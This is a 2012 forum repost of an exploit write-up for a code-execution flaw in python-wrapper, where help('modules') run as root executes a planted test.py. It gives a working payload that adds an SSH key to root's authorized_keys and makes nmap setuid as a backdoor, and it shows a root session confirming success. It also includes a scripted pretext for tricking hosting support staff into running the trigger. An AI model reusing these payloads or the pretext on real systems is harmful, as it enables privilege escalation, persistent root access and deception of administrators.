DarkyAngel Posted July 3, 2012 Report Posted July 3, 2012 Python-wrapper executes any test.py script within the current working directory, when supplied with help('modules').A non-priviledged user may gain code execution by tricking root to help('modules') or help() and then modules from within python-wrapper while within a non-priviledged user's work directory.# python-wrapper untrusted search path/code execution vulnerability## Python-wrapper executes any test.py script within the current working directory, when supplied with help('modules').# A non-priviledged user may gain code execution by tricking root to help('modules') or help() and then modules from within python-wrapper# while within a non-priviledged user's work directory.## The evil file MUST be titled test.py! os.system("evilcommand") will result in python-wrapper executing said command, and then continuing normally# with no signs of compromise if you redirect command output. os.system("/bin/echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys") does not# work, however os.system("/bin/echo $(echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys)") does.### Additionally, nmap makes a great backdoor from a non-priviledged user account because it's something that looks like you might actually# want SETUID under certain circumstances, but not really(and it will bitch if invoked). In nmap 5.31DC1 the most useful switch(--interactive) was removed# which previously allowed you to bang out a shell(!/bin/csh, but not bash). Thank you David/Juan Carlos Castro for breaking one of my favorites.# NOW however there is the nmap scripting engine to exploit. As usual, the input-output commands will behave like any exploitable SETUID program# with input-output commands.### A practical example of how this vulnerability could be useful is if you wish to attack a shared webhosting enviornment.# After convincing root(support) to cd in to your directory, perhaps by uploading a broken "distraction.py" and getting him to troubleshoot it,# you could pose the question: "Hey, what python modules do you guys have installed?" "I'm not quite sure how to list that..."# "You can list the modules installed by entering python-wrapper, and typing help('modules')" "Oh!" *silent test.py execution by root*# "There's a lot of them... would you like them as an email attachment?" "Yeah, thanks. I think I'll look at that and try troubleshooting this more myself".### - ShadowHatesYou (Shadow@SquatThis.net)# 6/30/12root@tourian:/home/shadow/python# ls -hl test.py-rw-r--r-- 1 shadow shadow 137 Jun 30 13:06 test.pyroot@tourian:/home/shadow/python# cat test.py#!/bin/pythonimport osos.system('/bin/echo $(echo "ssh-rss pwned byshadow" >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap')root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap-rwxr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmaproot@tourian:/home/shadow/python# ls -hl /root/.ssh/authorized_keysls: cannot access /root/.ssh/authorized_keys: No such file or directoryroot@tourian:/home/shadow/python# python-wrapperPython 2.7.3 (default, May 4 2012, 00:13:26)[GCC 4.6.2] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> help('modules')Please wait a moment while I gather a list of all available modules...ArgImagePlugin _bisect email pprintBaseHTTPServer _codecs encodings pptransportBastion _codecs_cn errno ppworkerBdfFontFile _codecs_hk exceptions profileBeautifulSoup _codecs_iso2022 fcntl pstatsBeautifulSoupTests _codecs_jp filecmp ptyBitTornado _codecs_kr fileinput pwdBmpImagePlugin _codecs_tw fnmatch py_compileBufrStubImagePlugin _collections formatter pyclbrCDROM _cracklib fpformat pydocCGIHTTPServer _csv fractions pydoc_dataConfigParser _ctypes ftplib pyexpatContainerIO _ctypes_test functools pyrit_cliCookie _curses future_builtins pyximportCrypto _curses_panel gamin quopriCurImagePlugin _elementtree gc randomCython _emerge gdbm reDLFCN _functools genericpath readlineDcxImagePlugin _gamin gentoolkit repomanDocXMLRPCServer _gv getopt reprEpsImagePlugin _hashlib getpass resourceExifTags _heapq gettext rexecFitsStubImagePlugin _hotshot git_remote_helpers rfc822FliImagePlugin _imaging glob rlcompleterFontFile _imagingft grp robotparserFpxImagePlugin _imagingmath gv rrdtoolGbrImagePlugin _io gzip runpyGdImageFile _json hashlib scapyGifImagePlugin _lcms heapq schedGimpGradientFile _ldns hmac scipyGimpPaletteFile _locale hotshot selectGribStubImagePlugin _lsprof htmlentitydefs setsHTMLParser _md5 htmllib setuptoolsHdf5StubImagePlugin _multibytecodec httplib sgmllibIN _multiprocessing ihooks shaIcnsImagePlugin _pyio imaplib shelveIcoImagePlugin _random imghdr shlexImImagePlugin _sha imp shutilImage _sha256 importlib signalImageChops _sha512 imputil siteImageCms _socket inspect smtpdImageColor _sre io smtplibImageDraw _ssl itertools sndhdrImageDraw2 _strptime java_config_2 socketImageEnhance _struct javatoolkit spwdImageFile _symtable json sreImageFileIO _testcapi keyword sre_compileImageFilter _threading_local lcms sre_constantsImageFont _unbound ldns sre_parseImageGL _warnings ldnsx sslImageGrab _weakref lib2to3 statImageMath _weakrefset libsvn statvfsImageMode _xmlplus libxml2 stringImageOps abc libxml2mod stringoldImagePalette aifc libxslt stringprepImagePath antigravity libxsltmod stropImageQt anydbm linecache structImageSequence argparse linuxaudiodev subprocessImageShow array locale sunauImageStat ast logging sunaudioImageTk asynchat lxml svnImageTransform asyncore macpath symbolImageWin atexit macurl2path symtableImtImagePlugin audiodev magic sysIptcImagePlugin audioop mailbox sysconfigJpegImagePlugin base64 mailcap syslogMcIdasImagePlugin bdb markupbase tabnannyMicImagePlugin binascii marshal tarfileMimeWriter binhex math telnetlibMpegImagePlugin bisect md5 tempfileMspImagePlugin bs4 mhlib termiosOleFileIO bz2 mimetools testOpenIPMI cPickle mimetypes textwrapPAM cProfile mimify thisPIL cStringIO mirrorselect threadPSDraw calendar mmap threadingPaletteFile cgi modulefinder timePalmImagePlugin cgitb multifile timeitPcdImagePlugin chunk multiprocessing toaiffPcfFontFile cmath mutex tokenPcxImagePlugin cmd netrc tokenizePdfImagePlugin code netsnmp tracePixarImagePlugin codecs new tracebackPngImagePlugin codeop nis ttyPpmImagePlugin collections nntplib typesPsdImagePlugin colorsys ntpath unboundQueue commands nturl2path unboundmoduleSgiImagePlugin compileall numbers unicodedataSimpleHTTPServer compiler numpy unittestSimpleXMLRPCServer contextlib opcode urllibSocketServer cookielib operator urllib2SpiderImagePlugin copy optparse urlparseStringIO copy_reg os userSunImagePlugin cpyrit os2emxpath uuTYPES cracklib ossaudiodev uuidTarIO crypt paramiko warningsTiffImagePlugin ctypes pdb weakrefTiffTags curses pickle webbrowserUserDict cython pickletools whichdbUserList datetime pipes wsgirefUserString dbm pkg_resources xattrWalImageFile decimal pkgutil xcbgenWmfImagePlugin difflib platform xdelta3mainXVThumbImagePlugin dircache plistlib xdrlibXbmImagePlugin dis popen2 xenXpmImagePlugin distutils poplib xml_LWPCookieJar dnet portage xmllib_MozillaCookieJar doctest posix xmlrpclib_OpenIPMI drv_libxml2 posixfile xxsubtype__builtin__ dumbdbm posixpath yasm__future__ dummy_thread pp zipfile_abcoll dummy_threading ppauto zipimport_ast easy_install ppcommon zlibEnter any module name to get more help. Or, type "modules spam" to searchfor modules whose descriptions contain the word "spam".>>> quit()root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap-rwsr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmaproot@tourian:/home/shadow/python# cat /root/.ssh/authorized_keysssh-rss pwned byshadow# Wish I had DuoSecurity!# See you at Defcon!Be happy with the root privileges using python.Sursa Quote